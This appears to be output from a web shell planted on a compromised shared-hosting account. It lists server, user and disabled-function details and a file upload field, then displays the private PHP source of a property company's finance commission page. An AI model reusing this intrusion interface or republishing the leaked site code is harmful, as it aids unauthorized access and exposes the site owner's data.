Heray-Was-Here
Server : LiteSpeed
System : Linux uk-fast-web1372.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u390967363 ( 390967363)
PHP Version : 8.2.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
Directory :  /home/u390967363/domains/aibenproperties.com/public_html/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u390967363/domains/aibenproperties.com/public_html/app/finance-commission.php
<?php
if (session_status() === PHP_SESSION_NONE) { session_start(); }
require_once __DIR__ . '/includes/db.php';
require_once __DIR__ . '/includes/functions.php';
include __DIR__ . '/includes/header.php';
global $pdo;
$role = strtolower(str_replace([' ', '-'], '_', (string)($_SESSION['user_role'] ?? '')));
$userId = (int)($_SESSION['user_id'] ?? 0);
$companyId = function_exists('getCurrentCompanyId') ? getCurrentCompanyId() : 0;
$canApproveCommission = in_array($role, ['finance_manager','super_admin'], true);
$success_msg = '';
$error_msg = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action'], $_POST['payment_id'])) {
    $pid = (int)$_POST['payment_id'];
    $act = $_POST['action'] === 'approve' ? 'approved' : ($_POST['action'] === 'reject' ? 'rejected' : '');
    if ($pid > 0 && $act !== '') {
        if (!$canApproveCommission) {
            $error_msg = 'Only Finance Manager can approve or reject commission.';
        } else {
        try {
            if (function_exists('auditLogDetailed')) {
                auditLogDetailed('commission', $pid, null, $act, null);
            }
            if (function_exists('tableHasColumn') && tableHasColumn('payments','meta_json')) {
                $q = $pdo->prepare("SELECT id, meta_json FROM payments WHERE id = ? LIMIT 1");
                $q->execute([$pid]);
                $row = $q->fetch(PDO::FETCH_ASSOC);
                if ($row) {
                    $meta = [];
                    if (!empty($row['meta_json'])) {
                        try { $meta = json_decode((string)$row['meta_json'], true) ?: []; } catch (Throwable $e) { $meta = []; }
                    }
                    $meta['commission_status'] = $act;
                    $meta['commission_action_by'] = $userId;
                    $meta['commission_action_at'] = date('Y-m-d H:i:s');
                    $up = $pdo->prepare("UPDATE payments SET meta_json = ? WHERE id = ?");
                    $up->execute([json_encode($meta), $pid]);
                }
            }
            $success_msg = ucfirst($act) . ' successfully.';
        } catch (Throwable $e) {
            $error_msg = 'Action failed.';
        }
        }
    }
}
$query = trim($_GET['q'] ?? '');
$where = "1=1";
$params = [];
// Only deal-related payments should appear: reference pattern or explicit deal_id linkage
// Relaxed: rely on metadata filtering below after fetching approved payments
if ($query !== '') {
    $where .= " AND (p.reference LIKE ? OR p.amount LIKE ?)";
    $params[] = "%$query%";
    $params[] = "%$query%";
}
try {
    $hasCol = function($t, $c) { return function_exists('tableHasColumn') && tableHasColumn($t, $c); };
    $selDate = "p.created_at";
    if ($hasCol('payments','payment_date')) { $selDate = "p.payment_date"; }
    elseif ($hasCol('payments','date')) { $selDate = "p.date"; }
    elseif (!$hasCol('payments','created_at')) { $selDate = "NOW()"; }
    $metaExpr = "NULL AS meta_json";
    if ($hasCol('payments','meta_json')) { $metaExpr = "p.meta_json AS meta_json"; }
    $selStatus = "p.status";
    if ($hasCol('payments','status')) { $selStatus = "p.status"; }
    elseif ($hasCol('payments','payment_status')) { $selStatus = "p.payment_status"; }
    elseif ($hasCol('payments','verified_at')) { $selStatus = "CASE WHEN p.verified_at IS NOT NULL THEN 'approved' ELSE 'pending' END"; }
    elseif ($hasCol('payments','approval_date')) { $selStatus = "CASE WHEN p.approval_date IS NOT NULL THEN 'approved' ELSE 'pending' END"; }
    elseif ($hasCol('payments','confirmation_status')) { $selStatus = "p.confirmation_status"; }
    $companyClause = '';
    $statusClause = '';
    if ($hasCol('payments','status')) {
        $statusClause = " AND LCASE(TRIM(p.status)) IN ('approved','verified','finance_approved','confirmed','success','paid')";
    } elseif ($hasCol('payments','payment_status')) {
        $statusClause = " AND LCASE(TRIM(p.payment_status)) IN ('approved','verified','finance_approved','confirmed','success','paid')";
    } elseif ($hasCol('payments','verified_at')) {
        $statusClause = " AND p.verified_at IS NOT NULL";
    } elseif ($hasCol('payments','approval_date')) {
        $statusClause = " AND p.approval_date IS NOT NULL";
    } elseif ($hasCol('payments','confirmation_status')) {
        $statusClause = " AND LCASE(TRIM(p.confirmation_status)) IN ('approved','verified','confirmed','success','paid')";
    }
    $pmExpr = "''";
    if ($hasCol('payments','payment_method')) { $pmExpr = "p.payment_method"; }
    elseif ($hasCol('payments','payment_type')) { $pmExpr = "p.payment_type"; }
    elseif ($hasCol('payments','method')) { $pmExpr = "p.method"; }
    $submittedByExpr = "NULL";
    if ($hasCol('payments','submitted_by')) { $submittedByExpr = "p.submitted_by"; }
    elseif ($hasCol('payments','created_by')) { $submittedByExpr = "p.created_by"; }
    $sql = "SELECT 
                p.id, p.user_id, p.amount, {$pmExpr} AS pay_method, p.reference, p.proof_file, {$selStatus} AS status, p.deal_id, p.company_id, p.created_at, {$selDate} AS dt, {$metaExpr}, {$submittedByExpr} AS submitted_by_id" 
                . ($hasCol('payments','verified_at') ? ", p.verified_at" : "") 
                . ($hasCol('payments','approval_date') ? ", p.approval_date" : "") 
                . ($hasCol('payments','confirmation_status') ? ", p.confirmation_status" : "") . ",
                " . ($hasCol('payments','submitted_by_name') ? "p.submitted_by_name" : "NULL") . " AS p_submitted_by_name,
                ds.marketer_name AS ds_marketer_name,
                ds.submitted_by AS ds_submitted_by,
                " . ($hasCol('deals_submit','submitted_by_user') ? "ds.submitted_by_user" : "NULL") . " AS ds_submitted_by_user,
                " . ($hasCol('deals_submit','submitted_by_name') ? "ds.submitted_by_name" : "NULL") . " AS ds_submitted_by_name,
                " . ($hasCol('deals_submit','created_by') ? "ds.created_by" : "NULL") . " AS ds_created_by,
                " . ($hasCol('deals_submit','created_by_user') ? "ds.created_by_user" : "NULL") . " AS ds_created_by_user,
                ds.commission_percent AS ds_commission_percent,
                ds.marketer_commission AS ds_marketer_commission,
                ds.agent_commission AS ds_agent_commission,
                ds.marketer_bank AS ds_marketer_bank,
                ds.agent_bank AS ds_agent_bank,
                ds.meta_json AS ds_meta
            FROM payments p 
            LEFT JOIN deals_submit ds ON " . ($hasCol('payments','deal_id') ? "p.deal_id = ds.id" : "p.user_id = ds.user_id") . " 
            WHERE $where {$statusClause}
            ORDER BY {$selDate} DESC LIMIT 1000";
    $st = $pdo->prepare($sql);
    $st->execute($params);
    $items = $st->fetchAll(PDO::FETCH_ASSOC) ?: [];
    if (empty($items)) {
        $sql2 = "SELECT 
                p.id, p.user_id, p.amount, p.payment_method, p.reference, p.proof_file, {$selStatus} AS status, p.deal_id, p.company_id, p.created_at, {$selDate} AS dt, {$metaExpr}" 
                . ($hasCol('payments','verified_at') ? ", p.verified_at" : "") 
                . ($hasCol('payments','approval_date') ? ", p.approval_date" : "") 
                . ($hasCol('payments','confirmation_status') ? ", p.confirmation_status" : "") . ",
                " . ($hasCol('payments','submitted_by_name') ? "p.submitted_by_name" : "NULL") . " AS p_submitted_by_name,
                ds.marketer_name AS ds_marketer_name,
                ds.submitted_by AS ds_submitted_by,
                " . ($hasCol('deals_submit','submitted_by_user') ? "ds.submitted_by_user" : "NULL") . " AS ds_submitted_by_user,
                " . ($hasCol('deals_submit','submitted_by_name') ? "ds.submitted_by_name" : "NULL") . " AS ds_submitted_by_name,
                " . ($hasCol('deals_submit','created_by') ? "ds.created_by" : "NULL") . " AS ds_created_by,
                " . ($hasCol('deals_submit','created_by_user') ? "ds.created_by_user" : "NULL") . " AS ds_created_by_user,
                ds.commission_percent AS ds_commission_percent,
                ds.marketer_commission AS ds_marketer_commission,
                ds.agent_commission AS ds_agent_commission,
                ds.marketer_bank AS ds_marketer_bank,
                ds.agent_bank AS ds_agent_bank,
                ds.meta_json AS ds_meta
            FROM payments p 
            LEFT JOIN deals_submit ds ON " . ($hasCol('payments','deal_id') ? "p.deal_id = ds.id" : "p.user_id = ds.user_id") . " 
            WHERE $where
            ORDER BY {$selDate} DESC LIMIT 3000";
        $st2 = $pdo->prepare($sql2);
        $st2->execute($params);
        $items = $st2->fetchAll(PDO::FETCH_ASSOC) ?: [];
    }
} catch (Throwable $e) { $items = []; }
$items = $items ?: [];
$rawItems = $items;
if (!empty($items)) {
    $approvedItems = array_values(array_filter($items, function($it){
        $st = strtolower(trim((string)($it['status'] ?? '')));
        $okByStatus = in_array($st, ['approved','verified','finance_approved','confirmed','success','paid'], true);
        if (!$okByStatus && $st !== '') {
            if (preg_match('/approve|verif|confirm|paid|success/i', $st)) { $okByStatus = true; }
        }
        $okByFlags = false;
        if (isset($it['verified_at']) && (string)$it['verified_at'] !== '') { $okByFlags = true; }
        if (isset($it['approval_date']) && (string)$it['approval_date'] !== '') { $okByFlags = true; }
        $conf = strtolower(trim((string)($it['confirmation_status'] ?? '')));
        if ($conf !== '' && in_array($conf, ['approved','verified','confirmed','success','paid'], true)) { $okByFlags = true; }
        if (!$okByFlags && $conf !== '') {
            if (preg_match('/approve|verif|confirm|paid|success/i', $conf)) { $okByFlags = true; }
        }
        return $okByStatus || $okByFlags;
    }));
    $items = !empty($approvedItems) ? $approvedItems : array_values(array_filter($rawItems, function($it){
        $ref = strtolower((string)($it['reference'] ?? ''));
        $hasDealRef = ($ref !== '' && strpos($ref, 'deal-submission-') !== false);
        $hasSubmitter = !empty($it['ds_submitted_by_user']) || !empty($it['ds_submitted_by']) || !empty($it['p_submitted_by_name']) || !empty($it['ds_submitted_by_name']);
        $hasMarketer = !empty($it['ds_marketer_name']);
        return $hasDealRef || $hasSubmitter || $hasMarketer;
    }));
}
// Apply search against id in PHP too (for inputs like "1655")
if (!empty($items) && $query !== '') {
    $q = strtolower(trim($query));
    $items = array_values(array_filter($items, function($it) use ($q) {
        $idStr = (string)($it['id'] ?? '');
        $refStr = strtolower((string)($it['reference'] ?? ''));
        $amtStr = (string)($it['amount'] ?? '');
        return (strpos($idStr, $q) !== false) || (strpos($refStr, $q) !== false) || (strpos($amtStr, $q) !== false);
    }));
}
// Fallback: if no approved payments found, try transactions table
try {
    $tWhere = "1=1";
    $tParams = [];
    // Do not restrict by company to ensure visibility of recent approvals across scopes
    $tStatusCol = "status";
    if (function_exists('tableHasColumn') && !tableHasColumn('transactions','status')) {
        $tStatusCol = "''";
    }
    $typeCol = (function_exists('tableHasColumn') && tableHasColumn('transactions','transaction_type')) ? "transaction_type" : "NULL";
    $sqlT = "SELECT id, " . (function_exists('tableHasColumn') && tableHasColumn('transactions','user_id') ? "user_id" : "NULL") . " AS user_id, " . (function_exists('tableHasColumn') && tableHasColumn('transactions','amount') ? "amount" : "0") . " AS amount, " . (function_exists('tableHasColumn') && tableHasColumn('transactions','reference') ? "reference" : (function_exists('tableHasColumn') && tableHasColumn('transactions','ref') ? "ref" : "NULL")) . " AS reference, {$tStatusCol} AS status, " . (function_exists('tableHasColumn') && tableHasColumn('transactions','created_at') ? "created_at" : "NOW()") . " AS created_at, " . (function_exists('tableHasColumn') && tableHasColumn('transactions','company_id') ? "company_id" : "NULL") . " AS company_id, {$typeCol} AS type FROM transactions WHERE {$tWhere} ORDER BY created_at DESC LIMIT 200";
    $stT = $pdo->prepare($sqlT);
    $stT->execute($tParams);
    $rowsT = $stT->fetchAll(PDO::FETCH_ASSOC) ?: [];
    $rowsT = array_values(array_filter($rowsT, function($r){
        $st = strtolower(trim((string)($r['status'] ?? '')));
        $ok = in_array($st, ['approved','verified','finance_approved','confirmed','success','paid'], true);
        if (!$ok && $st !== '') {
            if (preg_match('/approve|verif|confirm|paid|success/i', $st)) { $ok = true; }
        }
        return $ok;
    }));
    $rowsT = array_values(array_filter($rowsT, function($r){
        $type = strtolower(trim((string)($r['type'] ?? '')));
        if ($type === '') return true;
        return in_array($type, ['client_payment','property_payment','deal_submission','deal_quick'], true);
    }));
    if ($query !== '') {
        $q = strtolower(trim($query));
        $rowsT = array_values(array_filter($rowsT, function($r) use ($q) {
            $idStr = (string)($r['id'] ?? '');
            $refStr = strtolower((string)($r['reference'] ?? ''));
            $amtStr = (string)($r['amount'] ?? '');
            return (strpos($idStr, $q) !== false) || (strpos($refStr, $q) !== false) || (strpos($amtStr, $q) !== false);
        }));
    }
    // Normalize and merge with payments list, dedupe by reference or id
    $fromTx = array_map(function($r){
        return [
            'id' => (int)($r['id'] ?? 0),
            'user_id' => (int)($r['user_id'] ?? 0),
            'amount' => (float)($r['amount'] ?? 0),
            'payment_method' => '',
            'reference' => (string)($r['reference'] ?? ''),
            'proof_file' => null,
            'status' => (string)($r['status'] ?? ''),
            'deal_id' => null,
            'company_id' => $r['company_id'] ?? null,
            'created_at' => (string)($r['created_at'] ?? date('Y-m-d H:i:s')),
            'meta_json' => json_encode([
                'commission_total_pct' => 5.0,
                'marketer_pct' => 3.0,
                'agent_pct' => 2.0,
                'submitted_by_role' => '',
                'submitted_by_user' => 0
            ])
        ];
    }, $rowsT);
    $seen = [];
    foreach ($items as $p) {
        $k = ($p['reference'] ?? '') !== '' ? ('ref:' . strtolower((string)$p['reference'])) : ('id:' . (string)($p['id'] ?? ''));
        $seen[$k] = true;
    }
    foreach ($fromTx as $t) {
        $k = ($t['reference'] ?? '') !== '' ? ('ref:' . strtolower((string)$t['reference'])) : ('id:' . (string)($t['id'] ?? ''));
        if (!isset($seen[$k])) {
            $items[] = $t;
            $seen[$k] = true;
        }
    }
    // Sort newest first
    usort($items, function($a,$b){
        return strtotime($b['created_at'] ?? '') <=> strtotime($a['created_at'] ?? '');
    });
} catch (Throwable $eTxFallback) {}
try {
    if (!empty($items)) {
        $hasDealsSubmit = false;
        try { $hasDealsSubmit = $pdo->query("SHOW TABLES LIKE 'deals_submit'")->rowCount() > 0; } catch (Throwable $e) { $hasDealsSubmit = false; }
        if ($hasDealsSubmit && function_exists('tableHasColumn') && tableHasColumn('deals_submit', 'meta_json')) {
            $refs = array_values(array_unique(array_filter(array_map(function($it){ return trim((string)($it['reference'] ?? '')); }, $items), function($r){ return $r !== ''; })));
            if (!empty($refs)) {
                $dealByRef = [];
                foreach (array_chunk($refs, 60) as $chunk) {
                    $likes = [];
                    $paramsL = [];
                    foreach ($chunk as $ref) {
                        $likes[] = "meta_json LIKE ?";
                        $paramsL[] = '%"payment_reference":"' . $ref . '"%';
                    }
                    $sqlDs = "SELECT id, user_id, marketer_id, marketer_name, deal_source, commission_percent, marketer_commission, agent_commission, marketer_bank, agent_bank, submitted_by, company_id, meta_json, created_at
                              FROM deals_submit
                              WHERE meta_json IS NOT NULL AND (" . implode(" OR ", $likes) . ")";
                    $stDs = $pdo->prepare($sqlDs);
                    $stDs->execute($paramsL);
                    $rowsDs = $stDs->fetchAll(PDO::FETCH_ASSOC) ?: [];
                    foreach ($rowsDs as $dsr) {
                        $m = [];
                        if (!empty($dsr['meta_json'])) {
                            try { $m = json_decode((string)$dsr['meta_json'], true) ?: []; } catch (Throwable $e) { $m = []; }
                        }
                        $pref = trim((string)($m['payment_reference'] ?? ''));
                        if ($pref === '') continue;
                        $cur = $dealByRef[$pref] ?? null;
                        if (!$cur) { $dealByRef[$pref] = $dsr; continue; }
                        $curTs = strtotime((string)($cur['created_at'] ?? '')) ?: 0;
                        $newTs = strtotime((string)($dsr['created_at'] ?? '')) ?: 0;
                        if ($newTs >= $curTs) { $dealByRef[$pref] = $dsr; }
                    }
                }
                foreach ($items as &$itRef) {
                    $ref = trim((string)($itRef['reference'] ?? ''));
                    if ($ref === '' || empty($dealByRef[$ref])) continue;
                    $dsr = $dealByRef[$ref];
                    if (!empty($dsr['meta_json'])) { $itRef['ds_meta'] = $dsr['meta_json']; }
                    if (isset($dsr['marketer_name'])) { $itRef['ds_marketer_name'] = $dsr['marketer_name']; }
                    if (isset($dsr['submitted_by'])) { $itRef['ds_submitted_by'] = $dsr['submitted_by']; }
                    if (isset($dsr['commission_percent'])) { $itRef['ds_commission_percent'] = $dsr['commission_percent']; }
                    if (isset($dsr['marketer_commission'])) { $itRef['ds_marketer_commission'] = $dsr['marketer_commission']; }
                    if (isset($dsr['agent_commission'])) { $itRef['ds_agent_commission'] = $dsr['agent_commission']; }
                    if (isset($dsr['marketer_bank'])) { $itRef['ds_marketer_bank'] = $dsr['marketer_bank']; }
                    if (isset($dsr['agent_bank'])) { $itRef['ds_agent_bank'] = $dsr['agent_bank']; }
                }
                unset($itRef);
            }
        }
    }
} catch (Throwable $eDsLink) {}
$_commissionDecisionByPaymentId = [];
if (!empty($items) && function_exists('tableHasColumn') && tableHasColumn('audit_logs','entity_type') && tableHasColumn('audit_logs','entity_id') && tableHasColumn('audit_logs','new_value')) {
    try {
        if (function_exists('ensureAuditTableExists')) { ensureAuditTableExists(); }
        $ids = array_values(array_unique(array_filter(array_map(function($v){ return (int)$v; }, array_column($items, 'id')), function($v){ return $v > 0; })));
        if (!empty($ids)) {
            $ph = implode(',', array_fill(0, count($ids), '?'));
            $sqlL = "SELECT l.entity_id, l.new_value, l.changed_by, l.created_at
                     FROM audit_logs l
                     INNER JOIN (
                        SELECT entity_id, MAX(id) AS max_id
                        FROM audit_logs
                        WHERE entity_type IN ('commission','payment_commission') AND entity_id IN ($ph)
                        GROUP BY entity_id
                     ) x ON x.max_id = l.id";
            $stL = $pdo->prepare($sqlL);
            $stL->execute($ids);
            $rowsL = $stL->fetchAll(PDO::FETCH_ASSOC) ?: [];
            foreach ($rowsL as $lr) {
                $eid = (int)($lr['entity_id'] ?? 0);
                if ($eid <= 0) continue;
                $_commissionDecisionByPaymentId[$eid] = [
                    'status' => strtolower(trim((string)($lr['new_value'] ?? ''))),
                    'by' => (int)($lr['changed_by'] ?? 0),
                    'at' => (string)($lr['created_at'] ?? '')
                ];
            }
        }
    } catch (Throwable $e) { $_commissionDecisionByPaymentId = []; }
}
if (!empty($items)) {
    usort($items, function($a, $b) use (&$_commissionDecisionByPaymentId) {
        $getDecision = function($it) use (&$_commissionDecisionByPaymentId) {
            $meta = [];
            if (!empty($it['meta_json'])) {
                try { $meta = json_decode((string)$it['meta_json'], true) ?: []; } catch (Throwable $e) { $meta = []; }
            }
            $st = strtolower(trim((string)($meta['commission_status'] ?? '')));
            $at = (string)($meta['commission_action_at'] ?? '');
            $pid = (int)($it['id'] ?? 0);
            if (($st === '' || $at === '') && $pid > 0 && !empty($_commissionDecisionByPaymentId[$pid])) {
                $d = $_commissionDecisionByPaymentId[$pid];
                if ($st === '' && !empty($d['status'])) { $st = strtolower(trim((string)$d['status'])); }
                if ($at === '' && !empty($d['at'])) { $at = (string)$d['at']; }
            }
            if ($st === '') { $st = 'pending'; }
            $approvedAt = ($st === 'approved') ? $at : '';
            $decisionAt = ($st === 'rejected') ? $at : '';
            $payDt = (string)($it['verified_at'] ?? ($it['approval_date'] ?? ($it['dt'] ?? ($it['created_at'] ?? ''))));
            return [
                'status' => $st,
                'approved_ts' => $approvedAt !== '' ? (strtotime($approvedAt) ?: 0) : 0,
                'decision_ts' => $decisionAt !== '' ? (strtotime($decisionAt) ?: 0) : 0,
                'pay_ts' => $payDt !== '' ? (strtotime($payDt) ?: 0) : 0,
                'id' => (int)($it['id'] ?? 0)
            ];
        };
        $da = $getDecision($a);
        $db = $getDecision($b);

        $group = function($st) {
            if ($st === 'approved') return 0;
            if ($st === 'pending') return 1;
            if ($st === 'rejected') return 2;
            return 3;
        };
        $ga = $group($da['status']);
        $gb = $group($db['status']);
        if ($ga !== $gb) return $ga <=> $gb;

        if ($ga === 0) {
            if ($da['approved_ts'] !== $db['approved_ts']) return $db['approved_ts'] <=> $da['approved_ts'];
        } elseif ($ga === 2) {
            if ($da['decision_ts'] !== $db['decision_ts']) return $db['decision_ts'] <=> $da['decision_ts'];
        }
        if ($da['pay_ts'] !== $db['pay_ts']) return $db['pay_ts'] <=> $da['pay_ts'];
        return $db['id'] <=> $da['id'];
    });
}
function getClient($id) {
    global $pdo;
    if ($id <= 0) return ['name'=>'','email'=>''];
    try {
        $s = $pdo->prepare("SELECT " . (function_exists('tableHasColumn') && tableHasColumn('users','name') ? "name" : "username") . " AS display_name, email FROM users WHERE id = ? LIMIT 1");
        $s->execute([$id]);
        $r = $s->fetch(PDO::FETCH_ASSOC);
        if ($r) return ['name'=> (string)($r['display_name'] ?? ''), 'email'=> (string)($r['email'] ?? '')];
    } catch (Throwable $e) {}
    return ['name'=>'','email'=>''];
}
function getUserByEmail($email) {
    global $pdo;
    $email = trim((string)$email);
    if ($email === '') return ['name'=>'','email'=>''];
    try {
        $s = $pdo->prepare("SELECT " . (function_exists('tableHasColumn') && tableHasColumn('users','name') ? "name" : "username") . " AS display_name, email FROM users WHERE email = ? LIMIT 1");
        $s->execute([$email]);
        $r = $s->fetch(PDO::FETCH_ASSOC);
        if ($r) return ['name'=> (string)($r['display_name'] ?? ''), 'email'=> (string)($r['email'] ?? '')];
    } catch (Throwable $e) {}
    return ['name'=>'','email'=>''];
}
function getUserRoleById($id) {
    global $pdo;
    $id = (int)$id;
    if ($id <= 0) return '';
    $roleCol = (function_exists('tableHasColumn') && tableHasColumn('users', 'role')) ? 'role' : ((function_exists('tableHasColumn') && tableHasColumn('users', 'user_role')) ? 'user_role' : '');
    if ($roleCol === '') return '';
    try {
        $s = $pdo->prepare("SELECT {$roleCol} FROM users WHERE id = ? LIMIT 1");
        $s->execute([$id]);
        return (string)($s->fetchColumn() ?: '');
    } catch (Throwable $e) {
        return '';
    }
}
function getDisplayNameFromEmail($email) {
    $email = trim((string)$email);
    if ($email === '' || strpos($email, '@') === false) return '';
    $local = substr($email, 0, strpos($email, '@'));
    $local = str_replace(['.','_','-'], ' ', $local);
    $local = preg_replace('/\s+/', ' ', $local);
    $parts = explode(' ', strtolower($local));
    $parts = array_map(function($p){ return $p !== '' ? ucfirst($p) : ''; }, $parts);
    return trim(implode(' ', $parts));
}
$sumTotal = count($items);
$sumApproved = 0;
$sumRejected = 0;
$sumPending = 0;
foreach ($items as $itTmp) {
    $m = [];
    if (!empty($itTmp['meta_json'])) {
        try { $m = json_decode((string)$itTmp['meta_json'], true) ?: []; } catch (Throwable $e) { $m = []; }
    }
    $st = strtolower(trim((string)($m['commission_status'] ?? '')));
    if ($st === '' && !empty($_commissionDecisionByPaymentId[(int)($itTmp['id'] ?? 0)]['status'])) { $st = (string)$_commissionDecisionByPaymentId[(int)($itTmp['id'] ?? 0)]['status']; }
    if ($st === '') { $st = 'pending'; }
    if ($st === 'approved') { $sumApproved++; }
    elseif ($st === 'rejected') { $sumRejected++; }
    else { $sumPending++; }
}
?>
<style>
    .commission-row {
        display: grid;
        grid-template-columns: 2fr 1.5fr 1.5fr 1fr auto;
        gap: 12px;
        padding: 14px;
        border-radius: 12px;
        background: #ffffff;
        margin-bottom: 10px;
        align-items: center;
        transition: all 0.2s ease;
        border: 1px solid #e5e7eb;
    }
    .commission-row:hover { background: #f9fafb; }
    .commission-table { width: 100%; }
    .commission-table thead { display: none; }
    .commission-table tbody { display: block; }
    .commission-table td { padding: 0; border: 0; background: transparent; }

    .commission-summary { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 12px; }
    .summary-tile { background: #ffffff; border: 1px solid #e5e7eb; border-radius: 12px; padding: 12px 14px; }
    .summary-label { font-size: 11px; text-transform: uppercase; letter-spacing: .5px; color: #6b7280; font-weight: 700; }
    .summary-value { font-size: 18px; font-weight: 800; color: #111827; margin-top: 4px; }
    .summary-sub { font-size: 12px; color: #6b7280; margin-top: 2px; }

    .marketer-block { display: flex; flex-direction: column; min-width: 0; }
    .marketer-name { font-weight: 600; color: #111827; }
    .marketer-meta { font-size: 12px; color: #6b7280; overflow-wrap: anywhere; word-break: break-word; }

    .commission-amount { font-weight: 700; font-size: 16px; color: #111827; }
    .commission-sub { font-size: 12px; color: #6b7280; }

    .perf-tag { font-size: 12px; font-weight: 700; padding: 4px 10px; border-radius: 999px; display: inline-flex; align-items: center; }
    .tag-high { background: #dcfce7; color: #166534; }
    .tag-medium { background: #fef3c7; color: #92400e; }
    .tag-risk { background: #fee2e2; color: #991b1b; }

    .action-btn { padding: 6px 12px; border-radius: 8px; font-size: 12px; border: 0; font-weight: 700; display: inline-flex; align-items: center; gap: 6px; }
    .pay-btn { background: #16a34a; color: #fff; }
    .pay-btn:hover { background: #12813a; color: #fff; }
    .view-btn { background: #111827; color: #fff; }
    .view-btn:hover { background: #0b1220; color: #fff; }

    @media (max-width: 768px) {
        .commission-row { grid-template-columns: 1fr; align-items: start; }
    }
</style>
<div class="container-fluid px-4">
    <div class="d-flex justify-content-between align-items-center mt-4 mb-4">
        <h1 class="h3 mb-0 text-gray-800"><i class="fa-solid fa-hand-holding-dollar me-2"></i>Commission</h1>
        <form class="d-flex" method="get">
            <input type="text" name="q" value="<?= htmlspecialchars($query) ?>" class="form-control me-2" placeholder="Search reference or amount">
            <button class="btn btn-primary"><i class="fa-solid fa-magnifying-glass me-2"></i>Search</button>
        </form>
    </div>
    <?php if (!empty($success_msg)): ?><div class="alert alert-success"><?= htmlspecialchars($success_msg) ?></div><?php endif; ?>
    <?php if (!empty($error_msg)): ?><div class="alert alert-danger"><?= htmlspecialchars($error_msg) ?></div><?php endif; ?>

    <div class="commission-summary mb-4">
        <div class="summary-tile">
            <div class="summary-label">Records</div>
            <div class="summary-value"><?= number_format($sumTotal) ?></div>
            <div class="summary-sub">Filtered view</div>
        </div>
        <div class="summary-tile">
            <div class="summary-label">Approved</div>
            <div class="summary-value"><?= number_format($sumApproved) ?></div>
            <div class="summary-sub">Ready to pay</div>
        </div>
        <div class="summary-tile">
            <div class="summary-label">Pending</div>
            <div class="summary-value"><?= number_format($sumPending) ?></div>
            <div class="summary-sub">Awaiting decision</div>
        </div>
        <div class="summary-tile">
            <div class="summary-label">Rejected</div>
            <div class="summary-value"><?= number_format($sumRejected) ?></div>
            <div class="summary-sub">Needs review</div>
        </div>
    </div>

    <div class="card shadow-sm rounded-3">
        <div class="card-header py-3">
            <div class="d-flex align-items-center justify-content-between">
                <h6 class="m-0 font-weight-bold text-navy">Commission Plans</h6>
                <span class="badge bg-secondary"><?= count($items) ?> records</span>
            </div>
        </div>
        <div class="card-body">
            <div class="table-responsive">
                <table class="table align-middle commission-table">
                    <thead class="table-light">
                        <tr>
                            <th>Client</th>
                            <th>Submitted By</th>
                            <th>Amount Paid</th>
                            <th>Split</th>
                            <th>Bank Details</th>
                            <th>Status</th>
                            <th class="text-end">Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php foreach ($items as $it): ?>
                        <?php
                        $meta = [];
                        if (!empty($it['meta_json'])) {
                            try { $meta = json_decode((string)$it['meta_json'], true) ?: []; } catch (Throwable $e) { $meta = []; }
                        }
                        if (empty($meta['commission_status']) && !empty($_commissionDecisionByPaymentId[(int)($it['id'] ?? 0)]['status'])) {
                            $meta['commission_status'] = (string)$_commissionDecisionByPaymentId[(int)($it['id'] ?? 0)]['status'];
                            $meta['commission_action_by'] = (int)($_commissionDecisionByPaymentId[(int)($it['id'] ?? 0)]['by'] ?? 0);
                            $meta['commission_action_at'] = (string)($_commissionDecisionByPaymentId[(int)($it['id'] ?? 0)]['at'] ?? '');
                        }
                        $dsMeta = [];
                        if (!empty($it['ds_meta'])) {
                            if (is_string($it['ds_meta'])) { $dsMeta = json_decode($it['ds_meta'], true) ?: []; }
                            elseif (is_array($it['ds_meta'])) { $dsMeta = $it['ds_meta']; }
                        }
                        $client = getClient((int)$it['user_id']);
                        $clientName = $client['name'] ?: (string)($meta['client_name'] ?? '');
                        $clientEmail = $client['email'] ?: (string)($meta['client_email'] ?? '');
                        $submitterUserId = 0;
                        $submitterCandidates = [
                            $dsMeta['submitted_by_user'] ?? null,
                            $meta['submitted_by_user'] ?? null,
                            $it['ds_submitted_by_user'] ?? null,
                            $it['ds_created_by_user'] ?? null,
                            $it['submitted_by_id'] ?? null,
                            $meta['created_by_user'] ?? null,
                            $meta['marketer_id'] ?? null
                        ];
                        $isAllowedSubmitterRole = function($role) {
                            $r = strtolower(trim((string)$role));
                            if ($r === '') return true;
                            if (in_array($r, ['admin','super_admin','superadmin','administrator'], true)) return false;
                            if (strpos($r, 'admin') !== false) return false;
                            $ok = ['marketing','marketer','agent','sales','contact','customer','rep','centre','center'];
                            foreach ($ok as $k) { if (strpos($r, $k) !== false) return true; }
                            return false;
                        };
                        $resolveSubmitterNameFromUserId = function($uid) use ($isAllowedSubmitterRole) {
                            $uid = (int)$uid;
                            if ($uid <= 0) return '';
                            $role = getUserRoleById($uid);
                            if (!$isAllowedSubmitterRole($role)) return '';
                            $u = getClient($uid);
                            return (string)($u['name'] ?? '');
                        };
                        foreach ($submitterCandidates as $cand) {
                            if ($cand === null || !ctype_digit((string)$cand) || (int)$cand <= 0) continue;
                            $nm = $resolveSubmitterNameFromUserId((int)$cand);
                            if ($nm !== '') { $submitterUserId = (int)$cand; break; }
                        }
                        $by = (string)($meta['submitted_by_name'] ?? '');
                        if ($by === '') { $by = (string)($dsMeta['submitted_by_name'] ?? ''); }
                        if ($by === '' && !empty($it['p_submitted_by_name'])) { $by = (string)$it['p_submitted_by_name']; }
                        if ($by === '' && !empty($it['ds_submitted_by_name'])) { $by = (string)$it['ds_submitted_by_name']; }
                        if ($by === '') { $by = (string)($meta['marketer_name'] ?? ''); }
                        if ($by === '' && !empty($it['ds_marketer_name'])) { $by = (string)$it['ds_marketer_name']; }
                        $dealSource = (string)($meta['deal_source'] ?? '');
                        if ($dealSource === '') { $dealSource = (string)($dsMeta['deal_source'] ?? ''); }
                        $subRole = strtolower((string)($meta['submitted_by_role'] ?? ($dsMeta['submitted_by_role'] ?? '')));
